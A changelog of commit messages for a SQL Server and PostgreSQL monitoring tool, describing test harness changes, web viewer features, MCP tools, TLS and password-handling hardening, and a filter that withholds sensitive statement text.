Twenty-six web test harnesses copied js modules into a scratch folder one by one or by loop before Node imported them. Adding one file under wwwroot/js/pages/ meant editing every copy list. A PR cannot edit a list that another PR in the same merge train adds. So two PRs that were each green went red once merged, in test classes that look unrelated to harnesses.

Each of the twenty-six now copies the whole js tree with one fs.cpSync(jsDir, scratch, { recursive: true }). Every stand-in module is still written after the copy, so it still replaces the real file. Only imported files load, so the extra copies are inert.

A new guard, WebHarnessJsTreeCopyTests, reads every .mjs under Darling/Darling.Tests. It fails, naming the file and line, when a harness does any of three things. It copies a js module by name or by directory. It builds a scratch folder without the whole-tree copy. Or it writes a stand-in module before a whole-tree copy.

The copy's source can have any name, as long as the harness binds it from process.argv. The scratch folder can have any name too, as long as the harness binds it from mkdtempSync. The guard failed before this change, naming these twenty-six harnesses, and passes after it.

An empty new page module imported from server-tabs.js and compose.js failed 110 tests in 14 classes in the old harnesses (ERR_MODULE_NOT_FOUND). The new ones pass. The probe ran over the 56 test classes that name a .mjs, one -class filter per class: 640 tests, 0 failed, 21 skipped for PostgreSQL.

Fixes #5279

* Web charts: a legend entry that drills keeps its keyboard drill beside the hide/show switch (#5247) (#5305)

When #5265 added hide and show to the legend, an entry that both drills (a grouped series) and hides kept its mouse drill. It lost its keyboard drill. An entry that drills but has no hide/show switch kept its keyboard drill, but a click on its swatch stopped drilling. #5265 is not in v3.9.0, so none of this reached a release.

The label of an entry that drills and hides is now a keyboard control. Enter or Space drills, and a click drills once. Before, the label was not focusable, so the keyboard had no drill. An entry with a drill but no hide/show switch drills from the whole entry, swatch included.

On an entry that drills and hides, the swatch is the hide/show control, and it was a bar 12 px wide and 3 px tall. It now has a transparent click pad, 20 x 25 px. The pad does not overlap the label (a 4.9 px gap) or the next row (a 10.5 px gap).

Seven new legend tests, 18 in the class. Six run the shipped charts.js under Node. Two of those fail on dev's charts.js: the label keyboard drill and the no-switch swatch drill.

The other four pin what already held. They cover label drill versus swatch switch and the swatch never drilling. They also cover the keyboard on a plain entry, and a refreshed chart whose held hidden set hides every series. That chart draws them all.

The Node run also records which keys each handler claims with preventDefault, so Enter and Space are pinned as claimed and Tab as left alone. The seventh test reads app.css and pins the swatch's click pad. It pins the rule, the 20 x 25 px size, and a reach that stops short of the label. It fails on dev's app.css.

Fixes #5247

* Lite's Query Store history window counts each interval once in Total Executions (#5310)

The Query Store history window's Total Executions added up every stored snapshot. The grid lists every snapshot on purpose. An interval collected more than once was therefore counted about once per collection. An interval collected three times (10, 25, 40) plus one collected once (5) showed 80 instead of 45.

The summary now takes the latest snapshot of each interval first. It uses the interval identity and "latest" order the aggregate reads already use. The history read carries the two identity columns it lacked (runtime_stats_interval_id and replica_role), last in its column list. The grid is unchanged. The Darling viewer's copy of the window gets the same fix.

Fixes #5306

* Web Index Analysis lists up to 500 rows and says when the list is cut (#5303)

The web's Index Analysis tab asked the service for 50 recommendations, the most the get_finops view took. On a large server the list ended at 50, while the desktop grid shows every finding. The view's limit ceiling is now 500 for index_analysis, and the tab asks for 500.

When the list is still cut, the notice says so: "Showing the largest 500 of 612 recommendations. The list stops at 500, so 112 more are not shown." It also points at the Database box, because each database's list is cut on its own. A list of exactly 500 that cut nothing says nothing, and one finding left over reads "1 more is not shown".

The Storage Growth databases list had the same fixed cut (the top 50 by 30-day growth). The tab had no way to ask for more. That level now reads limit as its row count, with the default still meaning 50, and the tab asks for 500. The objects and indexes levels are unchanged.

The get_finops limit description said "1-50" for every view, which was wrong for the three views that take 500. It now says "Most rows per list (default 10); each view has its own max.", the same length as before.

The shipped Index Analysis page script runs under Node for the limit and each notice. Source pins, unit tests and live tests cover the new ceilings. Ten of the new or changed tests fail on the old code, and four tests added after review failed before their fixes.

Fixes #5238

* Tests: a fresh store ends up with every declared continuous aggregate (#5315)

The store-object walk in DarlingStoreUpgradeTests dropped the continuous-aggregate step's ready count. That step only warns when one CREATE fails. So a store finishes its start-up one rollup short and looks healthy.

The walk now ends by checking that every aggregate in the declared lists is in the TimescaleDB catalog. The failure names any that is missing. It also checks that the step's own count agrees.

A new gated test walks a fresh store with the real list. It then walks a second fresh database without the collection_log hypertable step and requires the failure to name collection_health_hourly. Test only.

Refs #3949

* MCP can serve HTTPS, and both listeners take a list of allowed ranges (#5288) (#5295)

MCP can serve HTTPS, and both listeners take a list of allowed ranges (#5295)

Add a `tls` block to `mcp.network`, the same block `web.network.tls` uses (a PKCS#12 bundle or a PEM pair). MCP's network listener then serves HTTPS only, and both listeners accept TLS 1.2 or 1.3 only. A bad or expired certificate keeps that listener loopback-only, and the loopback listener still requires the token. A certificate that cannot be loaded raises a Critical self-alert, and a new "MCP TLS Certificate Expiring" self-alert warns 30 days ahead. A `tls` block with no certificate path is refused instead of serving plain HTTP.

`allowFrom` on `mcp.network` and `web.network` takes one CIDR or a list, and `--configure-firewall` scopes each rule to exactly those ranges. An entry with a zero-padded, hex or short IPv4 address or an IPv6 zone index is refused, with the reason logged. On MCP, an address outside `allowFrom` gets 403 before the token is checked. Both listeners ignore the forwarded-headers switch and any `Kestrel:Endpoints` entries.

`mcp.network.hostName` names the host clients connect by. darling.json names each unknown key under the network, `tls` and `oidc` blocks in a start-up warning. MCP exposed without TLS logs a warning at every start. With none of these settings, both listeners work as before.

Closes #5288. Fixes #5307.

* Lite tests close every DuckDB database they open (#5321)

Lite's tests used to leave about a thousand DuckDB databases open when the test process ended. Each held threads, handles and native memory, and its file was already deleted.

Tests now dispose every DuckDbInitializer they open. The shared fixture and per-class fields dispose it before the temp folder is deleted. Locals sit on a using. Initializers built by helpers are tracked in a list that Dispose() closes.

A new source-census test fails when a Lite test constructs a DuckDbInitializer and does not dispose it where it lives. A local must be disposed in its own method. A field must be disposed in its own class. A list entry needs a foreach over that same list in the same class. A construction passed into another constructor, a target-typed new(), and a subclass of DuckDbInitializer are caught too. A Dispose call elsewhere in the file no longer hides a missing one.

Test code only.

Refs #5208

* Lite test shards weigh classes that run one at a time at full cost (#5319)

The Lite test shard packer cut classes by summed test seconds. But classes in DisableParallelization collections run one at a time, so each of their seconds costs about 3.4 parallel seconds.

The packer now reads the serial collections from the Lite.Tests sources and each class's collection from the timing XML. A serial class weighs its seconds in full, any other class a 3.4th of that. Placement stays longest-first into the least-loaded shard, and the check that every class lands in exactly one shard is unchanged. The pack output also reports serial classes and predicted wall seconds per shard.

The self-test gains a fixture where a plain sum cut piles the serial classes on one shard and the new cut spreads them within 1.25x. How much the new cut gains depends on the run. On one recent timing set the modelled walls go from 547-628 s (1.15x) to 584 s on every shard. On the run the reviewer used (658 classes), the plain cut models 502, 664, 888 and 696 s. The new cut models 687 s on each shard. The actual assembly walls of that run were 499, 639, 849 and 693 s.

Refs #5208

* PostgreSQL targets: the six database-growth bars are recorded as measured over 14 days (#4404) (#5327)

The six PostgreSQL database growth bars are now recorded as measured. They are the 14-day lookback, the 1 GiB and 10 percent concerning line, the 10 GiB and 25 percent critical line, and the three-sample minimum. A 14-day read of 393 databases on 50 clusters confirmed every value as written, so no threshold or grade changes.

The growth trend finding now carries threshold_lineage = 1 instead of 0. Its advice says the lines are measured against the dogfood fleet, not chosen. The two co-fire boosts and the growth-rate anomaly pair were not graded and stay marked unmeasured.

Tests pin the new lineage, the date and population in each constant's comment, and the advice text.

Fixes #4404

* The statement filter gets its XML and JSON walks, and the plan viewer reads ParameterizedText as an attribute (#5326)

The statement filter gets its XML and JSON walks, and the plan viewer reads ParameterizedText as an attribute (#5326)

`SensitiveStatements.XmlCore` walks plan, blocked-process, deadlock and event XML with a caller-supplied judge. It replaces what is named with a placeholder. Inside a withheld statement, its parameter values, quoted literals and `0x` literals are withheld too. Before judging an auto-parameterized statement, the walk puts each `@N` value back into the text. In an actual plan it also judges the statement with the runtime values. A nested plan in an `EdcShowplanXml` attribute is judged one level deep, and a deeper one is withheld.

`SensitiveStatements.JsonCore` walks a tool result and sends each string to the XML walk or the text judge. Nothing calls either walk yet.

`ShowPlanParser` now reads `ParameterizedText` as an attribute of the statement element, so the plan viewer's Parameterized row shows the text for an ad hoc statement.

Part of #5320

* Query Store grid: a History button shows a query's duration and CPU plan by plan, backed by a new store-only MCP tool (#5234) (#5300)

The web Query Store grid can show a plan's history over time (#5300)

Query Store grid rows have a History button. It opens a panel under that row with a chart of average duration over time, one line per plan. Below the chart, a table lists each plan's executions, average and total duration and CPU, first and last seen, and whether it is forced. Each plan has a Plan button that opens its stored plan.

The chart keeps one value per plan and moment. Repeated stored copies of a still-open interval collapse to the latest one, and Regular, Aborted and replica rows are combined.

The chart keeps the newest 150 points. The table keeps the 20 plans with the most total duration. The panel says when either was cut. For a window older than raw retention, the panel reads the interval table the grid reads. When stored history starts later than the window asked for, the panel says where it starts, even when it is empty.

The Darling MCP server gains a store-only get_query_store_query_history tool that returns the same data. It takes database_name and query_id from get_query_store_top, plus optional server_name, hours_back and as_of. Lite's MCP server does not have it.

Closes #5234

* Web Top Queries and Top Procedures rank by CPU, duration, reads or executions (#5299)

The web's Top Queries and Top Procedures lists ranked by CPU only. A long query that used little CPU (blocked, or waiting on I/O) never appeared in the browser, while the desktop ranks by duration.

The two endpoints behind the lists are get_top_queries_by_cpu and get_top_procedures_by_cpu. They now take an order_by ranking: cpu, duration, reads or executions. CPU is the default, and a request without order_by is the request the page sent before. Each choice maps to a fixed ORDER BY in code from a whitelist, and request text never reaches SQL. Both lists get a Rank by selector for it.

The CPU ranking is the same ranking, but its raw reads changed shape. Ties now break by the group key and a NULL sorts last. The raw statements run in two passes. A narrow pass picks the winners, then the wide row is built for those winners only. The hourly statements keep one pass and get only the new ordering.

Duration and executions are answered from the raw tables or from the hourly rollups. Reads is answered from the raw tables only, because the per-query and per-procedure rollups keep no logical reads. So it needs no store migration.

A reads request whose window reaches past what raw keeps is the case where the hourly rollup is the usual tier. The read stays on raw anyway, and the answer's precision_note says why: the rollup has no per-query logical reads. It names cpu, duration and executions as the rankings that can read the rollup. Inside raw's reach there is no precision_note. The web page does not draw precision_note.

Each Top Queries and Top Procedures answer gains a retention_notice field. It is null unless the ranking is reads and the window reaches past what raw keeps on a store with rollups. Then it holds the partial-window sentence the composed panels carry, with the raw tier's reach in days. The page draws it as text, once, in place of the window floor's truncation_note. So a reads list is never silently partial, and never shows two lines that say the same thing.

The MCP tools keep their parameters and descriptions and still rank by CPU. For them retention_notice is always null, and that extra null field is the one change in their output.

The web endpoint takes order_by, and an unknown value is refused with a 400, as detail and group_by already are.

Top Queries now finds the latest text of every ranked group in one lookup, not one lookup per ranked row. The lookup runs once as a materialized step, and the hourly read probes the time index once per ranked group. On a store without TimescaleDB the old lookup scanned the whole table once per row.

Two behaviors change on purpose. First, the text is the newest row inside the window. The old lookup had no window bound. So on the raw route a group whose rows in the window all lack text now shows no text. The hourly route keeps the text of the key's newest raw row that has one. It shows no text only when no raw row of the key carries a text.

The second change is that the text match is NULL-safe. A group with a NULL database or hash now gets its text, and a WAITFOR text there is trimmed. The hourly route keeps finding a text for a window past raw retention, one index probe per key that has none in the window. The Viewer's Top Queries gets the same fix.

The WAITFOR trim no longer leaves a short page. Top Queries and the Query Store top reads, in the MCP tools, the Viewer and Lite, ask for a few more candidates than the page. If the page comes back short and the round was full, they ask again with four times as many. The cap is the page size plus 200. That is at most 3 rounds. A full page or an idle window costs one round.

A round whose candidates were all WAITFOR statements still reports its candidate count, so it is not read as the end of the list.

A tie on the newest text, or on the ranking, now resolves the same way on every read. The newest text breaks a tie on the row collected last. The Query Store and Viewer rankings end on the whole group key. Lite's Top Queries and Query Store text picks got the same tie-break.

Fixes #5226, fixes #5309, fixes #5313

* The statement filter has one definition and a .NET evaluation, and withholds more administrative statements (#5324)

The statement filter has one definition and a .NET evaluation, and withholds more administrative statements (#5324)

The pattern that decides which statement text reads as `-- statement text withheld (#4348)` now has one definition, in `PerformanceMonitor.Common/SensitiveStatements.cs`. The PostgreSQL filter's constants are aliases of it. The pattern names more administrative statement forms, for example `CREATE LOGIN` and `CREATE CREDENTIAL`. PostgreSQL statement text is filtered with it when it is collected. The stored-text scrub keeps the pattern it shipped with.

`SensitiveStatements.Regex.cs` adds the .NET evaluation of the same pattern, with a 250 ms match timeout and a budget per read call. Nothing calls it yet. PostgreSQL and .NET agree on all 136 corpus strings.

The hourly PostgreSQL statement text fetch writes its own rows to the collection log, under `pg_statement_text`. It writes an error row when it fails or times out, and a success row when it stores text.

Part of #5320

* The web viewer shows the queries that waited on a wait type (#5235) (#5322)

The web viewer shows the queries that waited on a wait type (#5235)

The web had no path from a wait spike to its queries. A right-click on the Wait Stats chart now opens Active Queries filtered to the wait drawn nearest the click, at that time. A click on a wait in the Wait Stats, Waiting Tasks or Significant Waits grid does the same. It uses the hour around the row's time, and Wait Stats keeps the range you have. Active Queries names the wait above the grid, reads up to 500 rows, and has a "Show all active queries" button to clear it. Query Store QDS_ waits are not linked.

The get_active_queries MCP tool in Darling and Lite takes a new wait_type filter. It matches the exact name in any case and runs in SQL beside database_name, so the totals and the row cap see it. Both apps tolerate the one trailing space an older collector stored. filters_applied now carries wait_type (null when unused). The tools/list budget grows 227 bytes in Darling. Lite's ceiling is corrected down to its measured 92,203.

Closes #5235

* Lite shard pack: re-fit the wall model's concurrency to 3.56 (#5208) (#5338)

Lite shard pack: re-fit the wall model's concurrency to 3.56 (#5208) (#5338)

A replay of nine full sharded runs showed the shard wall model's shape is right and its parallel concurrency was a little low. At 3.4 its mean error was 3.5 %, and at the least-squares value of 3.56 it is 2.0 %. The spread between shards comes from class seconds that move between runs, which a constant cannot fix.

The script's self-test now pins the wall formula and keeps the constant between 3.4 and 3.8. An earlier commit that also weighed each class by its test count was removed, because a replay on fresh runs showed no gain.

Refs #5208

* Web API: edit a monitored server in place (PATCH /api/servers/{id}) (#5240) (#5301)

Edit a monitored server from the web API, with one store lock for every address write (#5301)

`PATCH /api/servers/{id}` changes a server's name, address, database, authentication, TLS settings or monthly cost in place. The server keeps its id, tags and history. A stale `modified_at` token gives a 409 with the current values. A connection test runs before a connection change is saved. `GET /api/admin/servers/{id}` returns the editable non-secret values to an admin sign-in. A read-only sign-in gets 403.

A change to how a SQL or service-principal server connects always asks for the password again. The stored password is never reused, not by the connection test and not by the save. The changes that count are host, port, database, read-only intent, authentication mode, username, encrypt mode, certificate trust and multi-subnet failover. The web route and the store's edit function enforce this for all of them. The desktop viewer's edit asks again for a host or port change, or for an auth-mode switch that keeps the stored secret. Its dialog no longer pre-fills the stored password.

The edit is saved by the database function `config.edit_monitored_server`. The managed role setup creates it for the viewer and mcp roles. The viewer role holds no UPDATE on the monitored servers table. If you manage roles yourself, re-run `Darling/tools/provision-roles.sql` after upgrading. Without the re-run, a web or MCP edit answers an error that tells you to re-run it.

The web add and edit routes share one in-flight slot. An add can get a 429 while an edit runs, and the 429 text now says "add or edit".

Every server add or edit from the web, MCP or the desktop viewer takes one store lock and checks the address again. The startup seed does the same. An add or edit also checks the database that the connection test reached. So two servers cannot claim the same address. An MCP or web add that loses the race is reported as a duplicate. The desktop Add/Edit dialog shows "Already monitored" instead of "Error saving server".

A stored `env:` or `file:` password reference that names one of the service's own configuration files or secrets is now refused when it resolves. That one server fails to connect with a clear message. A store row's reference resolves only when darling.json declares it for that server at that address.

The MCP `edit_server` conflict answer's `current` now also includes `engine`.

Part of #5240

* The web's Blocking and Deadlocks grids open each row's stored plans (#5236) (#5298)

The web's Blocking and Deadlocks grids open each row's stored plans (#5236) (#5298)

Darling stores plans with blocked process reports and deadlocks. The desktop viewer opened them, but the web did not. The Blocking grid now shows a Blocked plan and a Blocking plan button, and the Deadlocks grid shows a Victim plan button. A button shows only on rows that have a stored plan. Plans are captured only while they are still in the plan cache, so many rows have none.

Two new MCP tools, get_blocking_plan_xml and get_deadlock_plan_xml, give the same plans to agents. Both take an optional database_name, and the web buttons send the row's database. So two databases on one server that share a session pair or a victim never show each other's plan. A deadlock plan read that names no victim refuses to pick a plan when the deadlocks sharing its times name different victims. The plan panel shows that message.

The get_blocking and get_deadlocks rows gain has_blocked_plan, has_blocking_plan and has_victim_plan flags, present only when true. Darling now has 180 MCP tools, and its tools/list budget ceiling is 193,975 bytes.

Closes #5236

* Web plan panel gets a Repro script button, backed by a store-only get_query_repro_script tool (#5233) (#5341)

The web plan panel has a Repro script button, and MCP clients can fetch the same script (#5233) (#5341)

Darling's web viewer and the new get_query_repro_script tool now build the same repro script the desktop Viewer builds. They work for a query_hash, Query Store or active-snapshot query. The script comes from the query's stored text, and from its stored plan when one is kept.

It reads only the central store: nothing connects to the monitored server and nothing runs. A procedure has no stored query text, so it gets no button. Darling now has 181 MCP tools, and its tools/list budget ceiling is 195,143 bytes.

Closes #5233

* Web: pick several databases per server, part 1 (#5245) (#5314)

Web server page: filter to several databases (#5245) (#5314)

The server page has a "Databases" button beside the range picker. It lists the databases collected for that server. The choice is kept per browser and per server. A PostgreSQL server has no button.

Six reads take the choice: Active Queries, Top Queries by CPU, Top Procedures, Query Store top, Query Store regressions and the query heatmap. Every panel heading has a chip that says which databases it shows. Names with commas, quotes or markup in them stay one name each.

The page sends one database_name key per chosen database. The web route reads a repeated key as a list. It keeps each name exactly and drops blanks and repeats. It refuses a NUL in a name, more than 50 names or more than 4,096 encoded bytes.

A new read route, GET /api/server-databases, lists the databases. The desktop Excluded Databases picker shares its SQL. The route stops at 5,000 names and says when the list is cut. Then the picker's search asks the route for matching names, so any database can be found. That read is about 17 times faster on a server with 500 databases and 90 days of history.

A repeated query key such as ?server=A&server=B used to read as A,B and matched nothing. Single-value reads now use the first value. The delete confirm flag, the access token and the sign-in keys refuse a repeated key. A refused repeated token is logged without its value. get_active_queries no longer trims database_name.

The MCP tools get_top_queries_by_cpu, get_top_procedures_by_cpu and get_query_store_top now read a blank database_name as all databases. A blank name used to match nothing. On the web, an empty database_name value is now refused with a 400.

Fixes #5245

* Darling's MCP tool answers go through the statement filter, and the collectors get a statement scrub session (#5342)

Darling's MCP tool answers go through the statement filter (#5342)

Every Darling MCP tool result, error results included, now has its statement text and parameter values checked before it is sent. This holds with or without GCF output. The output filter is the last call-tool filter on the Darling host, so it reads each answer as the tool's own JSON. A result it cannot read, or a content block it does not know, is refused with a fixed sentence.

The plan analysis tools judge each plan before they analyse it, in Darling and Lite. A plan withheld whole answers "This plan was withheld by the statement filter (#4348), so it was not analysed."

The collectors get a statement scrub session: one 15 s budget per read, each distinct value judged once, and four new measurements. No collector uses it yet.

Two census tests list every SQL Server column and writer that can hold statement text. A release cut fails while any of them is still pending.

Part of #5320

* Web Admin: edit a configured server from the Servers grid, with stale-edit Reapply and Reload (#5240) (#5356)

The web Admin Servers grid gets an Edit button on each row. It opens a form above the grid, filled from the server's current settings. The grid's refresh does not close the form, and closing the form clears the password box first. Reapply and Reload clear it too when they redraw the form.

Save sends only the fields that changed, plus the time the form read the server. The password goes only when one was typed and the chosen sign-in stores one. While a save runs, the buttons are locked. The status line says whether the service will test the connection before it saves.

If the server changed after the form read it, the form shows what changed. Reapply lays your changes over the new values, and Reload takes the new values. An expired session closes the form. A JSON answer that is not an object keeps the form open with your entries and says it is not known whether anything was saved. The username and password boxes ask password managers to leave them alone.

Writes from the Admin page and the tag manager now go through one shared helper that keeps the answer's status and body.

Closes #5240

* The Darling viewer's Overview gets Lite's server name / tag search (#5352) (#5359)

The Darling viewer's Overview gets the server name and tag search that Lite's Overview has. A "Search:" box beside the sort selector narrows the cards by display name, server name or tag. It works together with "Needs attention only", and clearing the box shows every card again.

A search that matches no card says "No server matches the search." in a neutral colour, never the all-clear. "Needs attention only" also works with a search. When the search finds only healthy cards, the line reads "No server matching the search needs attention." Lite now shows the same no-match sentence instead of a blank grid. Lite's matching and sort are unchanged.

The web Fleet page already narrows cards by name and tag, so it is unchanged.

Closes #5352

* Server add and edit from the web and MCP take the password itself (#5364)

The web add and edit routes and the MCP add_servers and edit_server tools take the password itself. A password that starts with env: or file: is refused, with a message that says references can only be set in the configuration file. The value is never repeated.

An edit that sends the password blank keeps the stored one, and a typed password replaces it. The test_connect command uses a stored reference only for a stored server with the same connection settings, and otherwise asks for the password. The configuration file and --add-server on the service host still take references. No stored row is rewritten.

* Alerts run SQL Server statement text through the statement filter (#5360)

SQL Server statement text in alerts now goes through the same statement filter as the MCP tools and the web pages. Some administrative statements, for example CREATE LOGIN or CREATE CREDENTIAL, read as '-- statement text withheld (#4348)'. So do the values and literals in an attached report or plan. The rest of the alert is unchanged.

The alert engine filters an alert before it logs or delivers it, and both apps' deliverers filter what reaches them without the engine. A filtered alert is judged once. Incident objects, a custom rule's name and resolution titles are judged too. Webhooks, mail and alert history all carry the filtered text.

Part of #5320

* The web Locking page filters by database, shades its wait columns and opens an index detail pane (#5231, #5311) (#5372)

The web Locking & Contention page gets a Database box, so you can look at one database at a time. A blank box means all databases. The four wait columns are shaded the way the desktop shades them. Clicking a row opens a pane with that index's four lock and latch counters. The pane stays open through the page's refresh. The server page's Object Contention and Index Usage panels now follow that page's database filter.

The MCP tool get_object_locking takes an optional database_name in both Darling and Lite. With a database chosen, the answer, the optimized-locking note and the truncation sentences all cover that database only. The Locking list is sorted in a fixed order, so a capped page stays the same from one refresh to the next.

Say the latest snapshot holds index rows and none has lock or latch contention. get_object_locking now says empty in both apps, where it said unavailable before. Unavailable is kept for a server with no snapshot at all.

Fixes #5231
Fixes #5311

* Plan reuse shadow mode counts a false hit only when the plan's shape changed (#5383)

Procedure plan reuse in shadow mode no longer counts a memory grant change as a false hit. SQL Server adjusts the grant inside a cached plan in place, and that is not a new plan. Shadow now compares each plan's shape: the statements and their plan hashes, read in one forward pass over the XML. A shape change, or a plan whose shapes were never compared, is still a false hit. A plan whose bytes changed but whose shape held counts in a new deferred_same_shape instead. Shadow mode still writes the same rows, and on mode and stored data are unchanged.

Each false hit now logs why it counted, and the collection-log note splits deferred_false_hit into deferred_false_hit_shape, deferred_false_hit_no_shape, deferred_false_hit_over_cap and deferred_false_hit_unparsed. Those four add up to it. An operator can tell a real shape change from a plan that was not compared. deferred_false_hit stays the number that must read 0 before moving to on. The README and sample config describe the gate and the split.

Part of #5158

* Lite archive watermark reads run once per table and share a two-wide limit (#5377) (#5390)

A user saw five concurrent archive MAX reads on one DuckDB engine take 41 to 63 s each, against 3 s alone. Several Query Store per-database watermark readers and forced-plan alert readers were inside DuckDB preparation at once. Three things in the code produced that load.

- The per-database watermark read ran one whole-archive bind and scan for each database on a cold archive generation.
- A floored `v_<table>` MAX ran uncached on every cycle for every idle database. That happened when the cached archive maximum was null, or at or below the floor.
- Nothing limited how many archive reads ran at once.

Part of #5377

* The statement filter judges a typed variable declaration with an initial literal (#5369)

The statement filter now judges a variable declaration that has a type between the name and its initial literal. It treats it the way it already treats the untyped assignment. The two shapes are T-SQL `DECLARE @x nvarchar(20) = N'...'` and PL/pgSQL `x text := '...'`. They count only for the variable names the filter already covers (the same name set as the untyped assignment, including `key_source`). A statement with no literal (`= @p`, `= $1`, a column definition) is unchanged.

The judge now runs as two regexes that share the one 250 ms budget. It is built on a background task when Lite and the Darling service start.

Part of #5320

* Lite tab switches, timer refreshes and time-range changes now share one in-flight read, and the latest request wins (#5371) (#5380)

In Lite, the server tab's tab-switch handler checked `_isRefreshing` but never set it. A timer tick that fired while a tab-switch read was still waiting started a second full refresh on top of it. In the field trace the overlap ran a refresh for 484 s.

The same one-way check also dropped work in the other direction. A tab switch, or a time-range or custom-date change, that arrived during a refresh was thrown away. The combo then showed the new range while the charts stayed on the old window. `SetTimeRangeIndex` (Apply to All) and the second `RefreshData()` after a collection run hit the same drop.

Part of #5371

* Lite's CHECKPOINT waits a bounded time for the lock, and a no-op archive pass keeps the views (#5377) (#5385)

Two defects in Lite, both provable from the code.

- After every collection round the collector runs CHECKPOINT under the process-wide write lock with no timeout. That lock is a `ReaderWriterLockSlim`, and a waiting writer makes every new reader wait. So one slow read parked the CHECKPOINT, and the CHECKPOINT then parked every UI read and the next collector behind it (#5371).
- `ArchiveService.ArchiveOldDataAsync` rebuilt the archive views in a `finally` even when no table archived a row and compaction changed nothing. Each rebuild bumps the archive generation and throws away every cached watermark. So every hourly pass made the next read of each table pay for its watermark again (#5377).

Part of #5377
Part of #5371

* A denied Extended Events session setup shows as a permission state and stops retrying (#5386)

A login that cannot create Extended Events sessions now shows PERMISSIONS for the long-query collector. Before, SQL Server error 15247 was missing from the shared list of permission denials. A denied session setup showed ERROR in Lite and SESSION_MISSING in Darling.

Lite used to repeat the denied create on every cycle. Now it stops the create for the rest of the app session once the login is denied. A restart tries again. Other failures still retry every cycle.

Darling now records PERMISSIONS with a message that names what to grant. It retries the create once an hour, or at once after a reconnect.

Fixes #5378

* Darling: a sealed password format bound to a server's connection settings (#5366) (#5382)

## Why

A SQL login password needs a stored form that works on every platform. It must open only in the service, and only for
the connection it was saved for. This part adds that format and the pieces around it. Nothing calls it yet, so no
behavior changes.

## What changes

- `PasswordSeal`, `PasswordPublicKey`, `PasswordPrivateKey`: the `sealed:v1:<keyId>:<base64>` format. A fresh AES-256-GCM
  key per value, wrapped with RSA-OAEP-SHA256 to the service's RSA-3072 public key. Every failure is a
  `PasswordSealException` with one fixed sentence per kind and no inner exception.
- `ServerConnectionIdentity`: the connection settings a password belongs to, with one row mapping and one "differs"
  rule. It gives the same answers as the edit and connection-test rule today.
- `PasswordBinding`: the purpose and ordered fields (server, remediation, mail server) that go into the sealed value's
  associated data.
- `DarlingPasswordKeyState`, `PasswordKeyStatus`, `IPasswordKeyRing`, `DarlingPasswordKey`: the start-up decision table
  for the service's key. Also the ring the rest of the service is handed, which is not ready until the key is loaded.

## Test plan

- [x] `PasswordSealTests` Total 77, Failed 0. A mutation that dropped the bound fields failed 24 of them.
- [x] `PasswordBindingCensusTests` Total 11, Failed 0
- [x] `DarlingPasswordKeyStateTests` Total 15, Failed 0
- [x] Every `*Census*` class: Total 356, Failed 0, 1 skipped. Every `*Ratchet*` class: Total 15, Failed 0.
  `*DocCommentHygiene*`: Total 77, Failed 0.
- [x] Darling.Tests build: 0 warnings
- [ ] Full suite: left to CI

Part of #5366

* Darling: the service keeps a password key file beside its other credentials (#5366) (#5384)

The loader the log-hash key file used is now shared, and a second key file, the password key, uses it.

Load never generates, Generate never overwrites, and Retire renames and never deletes. A credentials directory can be open to other users until the service sets it owner-only. In that case this file stays under its own name (password-key.open-directory, or password-key.dpapi.open-directory on Windows). Every later start and every other process finds it there and reports it. The role-password files are still removed.

Accept puts the kept file back at the live name after the caller checks it. The key file is read within a size limit and is written through a temporary file of its own. On Unix it must be owned by the service's user with one name.

Nothing a user can see changes yet.

Part of #5366

* Lite compaction merges only what changes and what fits the free disk space, and warns when the data volume is low (#5377) (#5394)

Lite's archive compaction no longer rewrites a whole month on every hourly pass. It leaves a part that is already merged alone. It merges only the batches that fit in the free space. It keeps at least 64 MiB or the size of the main database file free, whichever is larger. A batch that does not fit waits for a later pass, with one warning per pass.

Lite now warns when its data folder is low on free space. It warns at startup and when the folder enters the low state. While the folder stays low, it warns at most once every 24 hours, and it says once when the folder recovers. Lite reads the free space for the folder itself, with the drive root as a fallback. When it cannot read the free space, it does not warn or hold anything back.

Part of #5377

* Blocking and waits reads follow the database filter (#5244) (#5392)

The database filter already reached the query and session reads. The blocking and waits reads still ignored it. A person who chose one database on a server page still saw blocking and waiting tasks from every database. These reads now follow the filter in Darling's MCP tools, Lite's MCP tools and the web viewer.

The blocking trend and stats tools now say which source answered: the blocked process reports, or the DMV snapshot when the filtered reports are empty.

Part of #5244

* The store takes a server's password itself from the viewer, admin and MCP roles (#5374)

The store now takes a server's password itself from the viewer, admin and MCP roles. It refuses a password that starts with env: or file: from these roles. Those references are set in the configuration file or with --add-server on the service host.

The store also refuses a change to how a server is reached when the change keeps the stored password. The password must be typed again with the change. On a row that holds a remediation login, a change to how the server is reached is refused with one sentence. The sentence points to the service host, the configuration file and --add-server. The Viewer's edit asks for the password before it saves, and it shows the same sentences.

The service copies a darling.json secret into a store row only when the file entry and the row agree on the connection settings. The drift warning now says the file's password is not used until the two agree. A self-managed store gets the rules when the service starts, unless they are already in place. If it cannot create them, the service logs one warning that names provision-roles.sql.

* Lite's Top Queries and procedure comparison stop scanning the whole archive for query text (#5381) (#5398)

Three Lite reads used to pick each group's query text from the whole query_stats archive, with no time filter. They are the Top Queries grid, the get_top_queries_by_cpu MCP tool and the procedure comparison. Memory grew with the archive, not with the window shown, and the reads ran out of memory at Lite's 1 GB limit.

They now take the query text after ranking, only for the ranked groups and only from the time ranges being read. The text and the plan come from the same row. A group with no text inside the ranges read now shows a blank query text.

Part of #5381

* Agent working orders: one issue keeps one branch and one PR (#5404)

An issue too big for one agent was getting several branches and several PRs, which split its history, its PR summary and its changelog entry. The agent working orders now say one issue keeps one branch and one PR, even when several agents build it.

* The Darling installer refuses an install when the .NET Runtime 10 is missing (#5407) (#5409)

The Darling installer's runtime check refused an install when the ASP.NET Core Runtime 10 was missing. It never looked for the base .NET Runtime 10. The standalone ASP.NET Core Runtime installer does not include the base runtime. So a machine with only that installer passed the check, and the service then failed to start with the .NET host's "You must install .NET" error.

The check now refuses the install when the base .NET Runtime 10 is missing too. Its message lists what it found for both runtimes and points to the Hosting Bundle, which installs both.

Closes #5407

* Lite's MCP answers and plan reads go through the statement filter (#5361)

Statement text in previews, analysis findings and alerts is now judged as a whole statement by the statement filter, and only then cut to length. This applies in Lite and in Darling. Before this change, some reads and alert builders cut the text first. The filter then saw only the start of a long statement.

A statement that the filter keeps reads exactly as it did before, at the same length. A statement that the filter withholds reads as the withheld marker. Two analysis reads fetch whole text only for the rows they print. These are the reconstructed blocking chains and the parameter-sensitive plans. Their read cost stays close to what it was.

A new source scan fails the build when scanned code cuts statement text before the filter judges it.

Part of #5320

* Darling's plan tools, web pages, bundle and drill-down run SQL Server statement text through the statement filter (#5362)

